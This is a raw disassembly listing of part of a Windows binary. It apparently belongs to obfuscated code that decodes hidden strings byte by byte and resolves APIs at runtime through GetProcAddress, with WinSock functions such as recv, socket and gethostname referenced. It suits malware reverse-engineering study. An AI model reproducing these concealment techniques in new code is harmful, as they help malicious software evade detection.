lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006895c
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x43
jmp 0x140068980
je 0x140069375
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400692e9
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400692bc
nop dword [rax]
cmp r8, r10
ja 0x1400693da
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x1400689aa
lea ecx, [r10 - 0x37]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7f
jmp 0x1400689f0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140069275
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006925a
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140069242
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140069227
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400691fa
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140068f5a
nop dword [rax]
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140068f37
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140068f13
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140068eee
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140068ecf
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140068ead
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140068e92
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140068e73
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140068e58
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140068e27
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140068a00
lea rbx, [r8 + 0x10]
lea r8, [rbx + 0x5a]
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x1400693bd
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x1400693a0
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140068be7
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140068bcc
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140068bb1
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140068dde
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140068d99
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140068d5b
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140068d35
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140068a00
lea rbx, [r8 + 9]
lea r8, [rbx + 6]
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140068d04
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140068ce9
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140068cca
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140068caf
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140068c8d
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140068c6e
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140068c49
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140068c25
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140068c02
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140068a00
lea rbx, [r8 + 0x64]
lea r8, [rbx + 4]
jmp 0x140068a00
lea ecx, [r10 + 0x57]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x61
jmp 0x1400689f0
lea ecx, [r10 - 0x73]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x25
jmp 0x140068980
lea ecx, [r10 - 0x3d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x55
jmp 0x140068926
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx r9d, r10b
jmp 0x14006928f
lea ecx, [r10 + 0x7e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x72
inc r8
dec r10
inc r10
jmp 0x140068913
lea edx, [r10 - 0x4c]
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r10
inc r10
jmp 0x140068913
lea ecx, [r10 - 0x16]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x66
movzx r9d, r10b
jmp 0x1400691b2
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
add rbx, r8
jmp 0x1400692d0
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x5a
jmp 0x1400692d0
lea edx, [r10 - 0x74]
movzx eax, dl
and al, r11b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006930b
lea ecx, [r10 - 0x3e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x4e
jmp 0x140069332
lea edx, [r10 - 8]
movzx eax, dl
and al, r11b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x2d0]
add rax, r8
add r10, rax
inc r10
jmp 0x140068913
lea ecx, [r10 + 0x7f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x79
mov byte [rbp + r10 + 0x2d0], dil
inc r10
jmp 0x140068913
lea ecx, [r10 - 0x4b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0xd
cmp r8, 0x10
jb 0x140068d4b
movzx r9d, r10b
lea ecx, [r9 + 0x3e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edi, [rcx*2 - 0x64]
jmp 0x14006928f
lea ecx, [r10 - 0x15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x6d
cmp rbx, 0x28
jae 0x14006918c
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x140069104
lea ecx, [r10 + 0x5a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x76
jmp 0x140068d71
lea ecx, [r10 + 0x21]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x19
lea rax, [r8 + rbx]
cmp rax, 5
je 0x1400691de
lea rcx, [r8 + 3]
cmp rbx, rcx
jbe 0x140069034
lea ecx, [r10 - 0x6f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 9
jmp 0x140068daf
lea edx, [r10 - 0x4a]
movzx eax, dl
and al, r11b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x2d0]
add rax, r8
add r10, rax
inc r10
jmp 0x140068913
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x74
jmp 0x140069332
lea edx, [r10 + 0x22]
movzx eax, dl
and al, r11b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006930b
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x68
jmp 0x1400692d0
lea edx, [r10 - 0x72]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
add rbx, r8
jmp 0x1400692d0
movzx r9d, r10b
lea ecx, [r9 - 0x3c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x5c
jmp 0x1400691b2
lea edx, [r10 - 6]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r10
inc r10
jmp 0x140068913
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x50
inc r8
dec r10
inc r10
jmp 0x140068913
movzx r9d, r10b
lea edx, [r9 + 0x66]
movzx eax, dl
and al, r11b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14006928f
lea rax, [r8 + 0x400]
cmp rbx, rax
jae 0x140068f81
lea ecx, [r10 - 0x1b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x43
jmp 0x140068df4
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140068fbb
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, r11b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x2d0]
add rax, r8
add r10, rax
inc r10
jmp 0x140068913
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140068fdf
lea ecx, [r10 + 0x26]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0xa
jmp 0x14006930b
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140069006
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x16
add rbx, r8
jmp 0x1400692d0
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140068df4
lea ecx, [r10 + 0x4e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x22
dec r10
inc r10
jmp 0x140068913
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006905c
movzx r9d, r10b
lea ecx, [r9 + 0x5b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7d
jmp 0x14006928f
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140069086
lea ecx, [r10 - 0x11]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x77
dec r10
inc r10
jmp 0x140068913
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400690aa
lea ecx, [r10 + 0x4d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x1b
jmp 0x1400692d0
cmp rbx, rcx
jne 0x1400690ca
lea ecx, [r10 + 0x17]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x5f
jmp 0x14006930b
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140068daf
lea ecx, [r10 - 0x55]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x53
movzx eax, byte [rbp + r10 + 0x2d0]
add rax, r8
add r10, rax
inc r10
jmp 0x140068913
jne 0x140069137
lea edx, [r10 + 0x24]
movzx eax, dl
and al, r11b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x2d0]
add rax, r8
add r10, rax
inc r10
jmp 0x140068913
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006915f
lea edx, [r10 - 0x7e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x1400692d0
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140068d71
movzx r9d, r10b
lea edx, [r9 + 0x16]
movzx eax, dl
and al, r11b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x1400691b2
movzx r9d, r10b
lea edx, [r9 + 8]
movzx eax, dl
and al, r11b
add al, al
movzx edi, byte [rbp + r10 + 0x2d0]
sub dil, al
sub dil, 0x38
add dil, r11b
add dil, dl
sub r9b, 0x13
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x7b
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x2d0], cl
add rbx, r8
jmp 0x1400692d0
lea edx, [r10 - 0x2e]
movzx eax, dl
and al, r11b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006930b
lea ecx, [r10 - 0x1d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x35
movzx eax, byte [rbp + r10 + 0x2d0]
add rax, r8
add r10, rax
inc r10
jmp 0x140068913
lea ecx, [r10 + 0x4f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x29
jmp 0x14006930b
lea ecx, [r10 - 0x7b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x5d
jmp 0x1400692d0
lea ecx, [r10 - 0x45]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x1d
add rbx, r8
jmp 0x1400692d0
movzx r9d, r10b
lea ecx, [r9 - 0x6d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 5
add r9b, 0x23
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 0xb
add r9b, r11b
mov byte [rbp + r10 + 0x2d0], r9b
inc r8
dec r10
inc r10
jmp 0x140068913
lea rcx, [r10 + r12]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x5b
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140068913
movabs rcx, 0x1b06fd6e64cc5943
add rcx, r10
movzx r11d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x2b
lea ecx, [r10 - 0x49]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
dec cl
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 + 0x2d0], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x44
add cl, r11b
mov byte [rbp + r10 + 0x2d0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x2d0]
add rax, r8
add r10, rax
inc r10
jmp 0x140068913
lea rcx, [r10 + r13]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 0x37
movzx eax, byte [rbp + r10 + 0x2d0]
add rax, r8
add r10, rax
inc r10
jmp 0x140068913
sub r10b, 7
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
add dil, 0x31
jmp 0x140068910
add r10b, 0x2f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x49
jmp 0x140068900
lea rdx, [rbp + 0x141b8ac]
jmp 0x1400693f3
lea rdx, [rbp + 0x1680e91]
jmp 0x1400693f3
lea rdx, [rbp + 0x2d0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x78], rax
mov byte [rbp + 0x100], 0xad
mov byte [rbp + 0x101], 0x8e
mov byte [rbp + 0x102], 0xf4
mov byte [rbp + 0x103], 0x86
mov byte [rbp + 0x104], __WSAFDIsSet
mov byte [rbp + 0x105], 0x8c
mov byte [rbp + 0x106], 0x88
mov byte [rbp + 0x107], 0x83
mov byte [rbp + 0x108], 0x87
mov byte [rbp + 0x109], 0xfe
mov byte [rbp + 0x10a], WSASetLastError
xor eax, eax
mov qword [rbp + 0x10b], rax
mov dword [rbp + 0x113], eax
mov word [rbp + 0x117], ax
mov byte [rbp + 0x119], al
movabs rsi, 0x46492391e02fd1b0
movabs r12, 0x78924020e1ae5f30
movabs r13, 0xd2db6ab5a08f7510
movzx edi, byte [rbp + 0x3e0]
nop
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x1a
jae 0x140069ff8
movzx r11d, byte [rbp + r10 + 0x100]
mov rdx, r11
nop dword [rax]
cmp rbx, r10
ja 0x140069fef
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400694ec
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x30
jmp 0x140069520
je 0x140069f81
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140069f54
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140069f33
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140069ee9
nop dword [rax]
cmp r8, r10
ja 0x140069fe6
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006954a
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x10
jmp 0x140069570
je 0x140069ec9
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140069e81
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140069df2
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140069abf
nop dword [rax]
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140069aa0
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140069a7f
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140069a5a
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140069b32
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140069a38
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140069a1a
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x1400699fb
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x1400699dc
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400699af
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140069580
lea rbx, [r8 + 0x41]
lea r8, [rbx + 0x200]
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140069fc9
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140069fac
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140069774
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140069759
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14006973a
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14006995c
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14006991e
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x1400698da
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x1400698b4
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140069580
lea rbx, [r8 + 0x200]
lea r8, [rbx + 0x1000]
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140069884
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140069869
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140069846
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14006982b
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140069810
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x1400697fe
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x1400697dd
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x1400697b5
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140069793
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140069580
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 0x42]
jmp 0x140069580
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140069570
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x50
jmp 0x140069520
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r11b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x1400694b6
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x80
movzx r9d, r10b
jmp 0x140069f03
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
inc r8
dec r10
inc r10
jmp 0x1400694a3
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x40
dec r10
inc r10
jmp 0x1400694a3
lea edx, [r10 + 0x60]
mov ecx, 0x30
movzx r9d, r10b
jmp 0x140069e8e
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx edi, r10b
sub dil, cl
add dil, r11b
add rbx, r8
jmp 0x140069f68
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x60
jmp 0x140069f68
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r11b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx r9d, r10b
jmp 0x140069e0c
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x20
jmp 0x140069e3a
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x80
movzx eax, byte [rbp + r10 + 0x100]
add rax, r8
add r10, rax
inc r10
jmp 0x1400694a3
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x70
mov byte [rbp + r10 + 0x100], dil
inc r10
jmp 0x1400694a3
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r11b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
cmp r8, 0x40
jb 0x1400698ca
movzx r9d, r10b
lea ecx, [r9 + 0x20]
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_recv
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea edi, [rdx + rdx]
jmp 0x140069f03
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x30
cmp rbx, 0x10
jae 0x140069db3
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x140069ca5
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r11b
mov ecx, 0x30
jmp 0x1400698e9
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
lea rax, [r8 + rbx]
cmp rax, 0x80
je 0x140069ddb
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x140069bdb
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140069934
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x60
movzx eax, byte [rbp + r10 + 0x100]
add rax, r8
add r10, rax
inc r10
jmp 0x1400694a3
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r11b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140069e3a
movzx r9d, r10b
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x20
jmp 0x140069e0c
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x80
jmp 0x140069f68
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
add rbx, r8
jmp 0x140069f68
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r11b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r10
inc r10
jmp 0x1400694a3
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx edi, r10b
sub dil, cl
add dil, r11b
inc r8
dec r10
inc r10
jmp 0x1400694a3
movzx r9d, r10b
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x60
jmp 0x140069f03
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140069adc
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r11b
mov ecx, 0x18
jmp 0x14006996b
jne 0x140069b0b
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x20
movzx eax, byte [rbp + r10 + 0x100]
add rax, r8
add r10, rax
inc r10
jmp 0x1400694a3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140069b29
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
jmp 0x140069f68
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140069b51
movzx r9d, r10b
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x40
jmp 0x140069e9f
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140069b7f
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r10
inc r10
jmp 0x1400694a3
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140069baf
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x80
inc r8
dec r10
inc r10
jmp 0x1400694a3
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140069976
movzx r9d, r10b
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x20
jmp 0x140069f03
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140069c03
movzx r9d, r10b
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x30
jmp 0x140069f03
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140069c2d
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x70
dec r10
inc r10
jmp 0x1400694a3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140069c55
movzx r9d, r10b
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x10
jmp 0x140069e9f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140069c75
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
jmp 0x140069f64
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140069934
movzx r9d, r10b
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140069e0c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140069cdb
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x40
movzx eax, byte [rbp + r10 + 0x100]
add rax, r8
add r10, rax
inc r10
jmp 0x1400694a3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140069d03
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140069e3a
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140069d2e
movzx r9d, r10b
lea ecx, [r9 + 0x80]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x80
jmp 0x140069e0c
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140069d56
movzx r9d, r10b
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x60
jmp 0x140069e9f
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140069d87
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r11b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
inc r8
dec r10
inc r10
jmp 0x1400694a3
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400698f4
movzx r9d, r10b
